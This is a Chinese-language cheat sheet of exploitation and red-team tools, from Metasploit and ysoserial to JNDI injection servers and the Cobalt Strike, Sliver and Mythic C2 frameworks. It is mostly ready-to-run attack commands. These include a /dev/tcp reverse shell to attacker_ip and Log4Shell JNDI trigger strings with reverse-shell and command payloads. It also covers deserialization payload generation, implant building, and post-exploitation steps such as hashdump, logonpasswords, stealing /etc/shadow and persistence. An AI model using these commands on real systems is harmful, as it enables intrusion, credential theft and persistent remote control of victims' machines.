# 漏洞利用
English: Exploitation
- Tool Count: 11
- Use this file to choose the right tool quickly, then open the linked source markdown for full command details.
## Metasploit
- ID: metasploit
- Command Count: 10
- Original Extracted Source: original extracted tools-wiki source/metasploit.md
Description:
渗透测试框架
Installation:
apt install metasploit-framework
Representative Commands:
- 启动MSF: `msfconsole`
- 搜索模块: `search exploit apache`
- 使用模块: `use exploit/multi/handler`
- 查看选项: `show options`
- 设置参数: `set RHOSTS 192.168.1.100`
External References:
- https://www.metasploitunleashed.com/
## Searchsploit
- ID: searchsploit
- Command Count: 4
- Original Extracted Source: original extracted tools-wiki source/searchsploit.md
Description:
Exploit-DB本地搜索工具，离线查找漏洞利用代码
Installation:
apt install exploitdb / searchsploit -u (更新数据库)
Representative Commands:
- 搜索漏洞: `searchsploit apache 2.4
searchsploit wordpress 5.0`
- 精确搜索: `searchsploit -e "Apache Tomcat"
searchsploit --exclude="dos" windows smb`
- 复制利用代码: `searchsploit -m 44228
searchsploit -p 44228`
- JSON输出: `searchsploit -j apache | jq ".RESULTS_EXPLOIT[]"`
External References:
- https://www.exploit-db.com/searchsploit
## ExploitDB
- ID: exploitdb
- Command Count: 3
- Original Extracted Source: original extracted tools-wiki source/exploitdb.md
Description:
漏洞利用代码数据库在线搜索
Installation:
在线使用: https://www.exploit-db.com / 本地: searchsploit
Representative Commands:
- 在线搜索: `# 访问 https://www.exploit-db.com
# 搜索框输入: Apache Struts
# 或使用Google Dork:
site:exploit-db.com "Apache Struts" RCE`
- API查询: `curl "https://www.exploit-db.com/search?q=wordpress+5.0" -H "X-Requested-With: XMLHttpRequest"`
- Google Hacking: `# ExploitDB收录的Google Dorks:
https://www.exploit-db.com/google-hacking-database
# 搜索泄露的配置文件、数据库等`
External References:
- https://www.exploit-db.com
## ysoserial
- ID: ysoserial
- Command Count: 4
- Original Extracted Source: original extracted tools-wiki source/ysoserial.md
Description:
Java反序列化漏洞利用Payload生成工具
Installation:
java -jar ysoserial.jar / 下载: https://github.com/frohoff/ysoserial/releases
Representative Commands:
- 生成Payload: `java -jar ysoserial.jar CommonsCollections1 "id" | base64
java -jar ysoserial.jar CommonsCollections5 "whoami" > payload.bin`
- 列出Gadget: `java -jar ysoserial.jar --help
# 常用: CommonsCollections1-7, Jdk7u21, URLDNS, JRMPClient`
- JRMP攻击: `# 监听端(攻击机):
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "bash -c {echo,base64_cmd}|{base64,-d}|{bash,-i}"

# 发送JRMP客户端Payload:
java -jar ysoserial.jar JRMPClient attacker_ip:1099 > jrmp.bin`
- URLDNS探测: `java -jar ysoserial.jar URLDNS "http://your_dnslog.com/test" | base64`
External References:
- https://github.com/frohoff/ysoserial
## ysoserial.net
- ID: ysoserial-net
- Command Count: 3
- Original Extracted Source: original extracted tools-wiki source/ysoserial-net.md
Description:
.NET反序列化Payload生成工具
Installation:
下载: https://github.com/pwntester/ysoserial.net/releases
Representative Commands:
- 生成Payload: `ysoserial.exe -g TypeConfuseDelegate -f ObjectStateFormatter -c "calc" -o base64`
- ViewState攻击: `ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd /c whoami" --validationalg=SHA1 --validationkey=MACHINE_KEY --generator=GENERATOR`
- 列出可用链: `ysoserial.exe -l
# 常用: TextFormattingRunProperties, TypeConfuseDelegate, PSObject`
External References:
- https://github.com/pwntester/ysoserial.net
## Marshalsec
- ID: marshalsec
- Command Count: 3
- Original Extracted Source: original extracted tools-wiki source/marshalsec.md
Description:
Java反序列化利用工具，支持多种Marshal格式和JNDI注入
Installation:
git clone https://github.com/mbechler/marshalsec && mvn clean package -DskipTests
Representative Commands:
- LDAP服务器: `java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://attacker_ip:8888/#Exploit" 1389`
- RMI服务器: `java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://attacker_ip:8888/#Exploit" 1099`
- 配合Log4Shell: `# 1. 编译恶意class: javac Exploit.java
# 2. 托管class: python3 -m http.server 8888
# 3. 启动LDAP: java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://ip:8888/#Exploit" 1389
# 4. 触发: ${jndi:ldap://ip:1389/Exploit}`
External References:
- https://github.com/mbechler/marshalsec
## JNDIExploit
- ID: jndi-exploit
- Command Count: 3
- Original Extracted Source: original extracted tools-wiki source/jndi-exploit.md
Description:
JNDI注入利用工具，集成多种Gadget和Bypass
Installation:
git clone https://github.com/feihong-cs/JNDIExploit && mvn clean package
Representative Commands:
- 启动服务: `java -jar JNDIExploit.jar -i attacker_ip`
- 命令执行: `# 触发Payload:
${jndi:ldap://attacker_ip:1389/Basic/Command/Base64/Y21k}
${jndi:ldap://attacker_ip:1389/Basic/ReverseShell/attacker_ip/4444}`
- Bypass高版本JDK: `# 使用Tomcat Bypass:
${jndi:ldap://attacker_ip:1389/TomcatBypass/Command/Base64/d2hvYW1p}
# 使用反序列化Bypass:
${jndi:ldap://attacker_ip:1389/Deserialization/CommonsCollections5/Command/Base64/d2hvYW1p}`
External References:
- https://github.com/feihong-cs/JNDIExploit
## Rogue JNDI
- ID: rogue-jndi
- Command Count: 3
- Original Extracted Source: original extracted tools-wiki source/rogue-jndi.md
Description:
恶意JNDI服务器，提供多种攻击向量
Installation:
git clone https://github.com/veracode-research/rogue-jndi && mvn package
Representative Commands:
- 启动服务: `java -jar RogueJndi.jar --command "whoami" --hostname attacker_ip`
- 反弹Shell: `java -jar RogueJndi.jar --command "bash -i >& /dev/tcp/attacker_ip/4444 0>&1" --hostname attacker_ip`
- 触发利用: `# LDAP: ${jndi:ldap://attacker_ip:1389/o=reference}
# RMI: ${jndi:rmi://attacker_ip:1099/o=reference}`
External References:
- https://github.com/veracode-research/rogue-jndi
## Cobalt Strike
- ID: cobalt-strike
- Command Count: 4
- Original Extracted Source: original extracted tools-wiki source/cobalt-strike.md
Description:
商业化红队C2框架，支持多种攻击和后渗透功能
Installation:
商业软件，需要购买License / 启动: ./teamserver ip password profile.crt
Representative Commands:
- 启动Team Server: `./teamserver your_ip your_password malleable_c2_profile.profile`
- 生成Payload: `# GUI操作:
# Attacks > Packages > Windows Executable (S)
# Attacks > Packages > HTML Application
# Attacks > Web Drive-by > Scripted Web Delivery`
- 常用Beacon命令: `# 基础信息
whoami
shell ipconfig
getuid

# 横向移动
jump psexec target_ip SMB_listener
jump winrm target_ip HTTP_listener

# 凭证获取
hashdump
logonpasswords

# 持久化
persist-service
persist-registry`
- Malleable C2: `# 使用C2 Profile伪装流量:
# https://github.com/rsmudge/Malleable-C2-Profiles
./teamserver ip pass jquery-c2.4.0.profile`
External References:
- https://www.cobaltstrike.com/
## Sliver
- ID: sliver
- Command Count: 4
- Original Extracted Source: original extracted tools-wiki source/sliver.md
Description:
开源跨平台红队C2框架，Cobalt Strike替代品
Installation:
curl https://sliver.sh/install | sudo bash / go install github.com/BishopFox/sliver/client@latest
Representative Commands:
- 启动服务: `sliver-server`
- 生成Implant: `# 在Sliver控制台:
generate --mtls attacker_ip --os windows --arch amd64 --save implant.exe
generate --http attacker_ip --os linux --format shared --save implant.so`
- 启动监听: `mtls -l 8888
https -l 443 -d example.com
wg -l 51820`
- 后渗透命令: `# 获取Session后:
info
getuid
ps
download /etc/shadow
upload local_file /tmp/remote
execute -o whoami
pivots tcp --bind 0.0.0.0:9050`
External References:
- https://github.com/BishopFox/sliver
## Mythic
- ID: mythic
- Command Count: 3
- Original Extracted Source: original extracted tools-wiki source/mythic.md
Description:
模块化C2框架，支持多种Agent和自定义扩展
Installation:
git clone https://github.com/its-a-feature/Mythic && cd Mythic && ./install_docker_ubuntu.sh && sudo ./mythic-cli start
Representative Commands:
- 安装Agent: `sudo ./mythic-cli install github https://github.com/MythicAgents/Apollo
sudo ./mythic-cli install github https://github.com/MythicAgents/Poseidon`
- 访问Web界面: `https://attacker_ip:7443
# 默认账号: mythic_admin
# 密码查看: cat .env | grep MYTHIC_ADMIN_PASSWORD`
- 生成Payload: `# 在Web界面:
# 1. 创建Payload Profile
# 2. 选择Agent类型(Apollo/Poseidon等)
# 3. 配置C2 Profile
# 4. 生成Payload下载`
External References:
- https://github.com/its-a-feature/Mythic

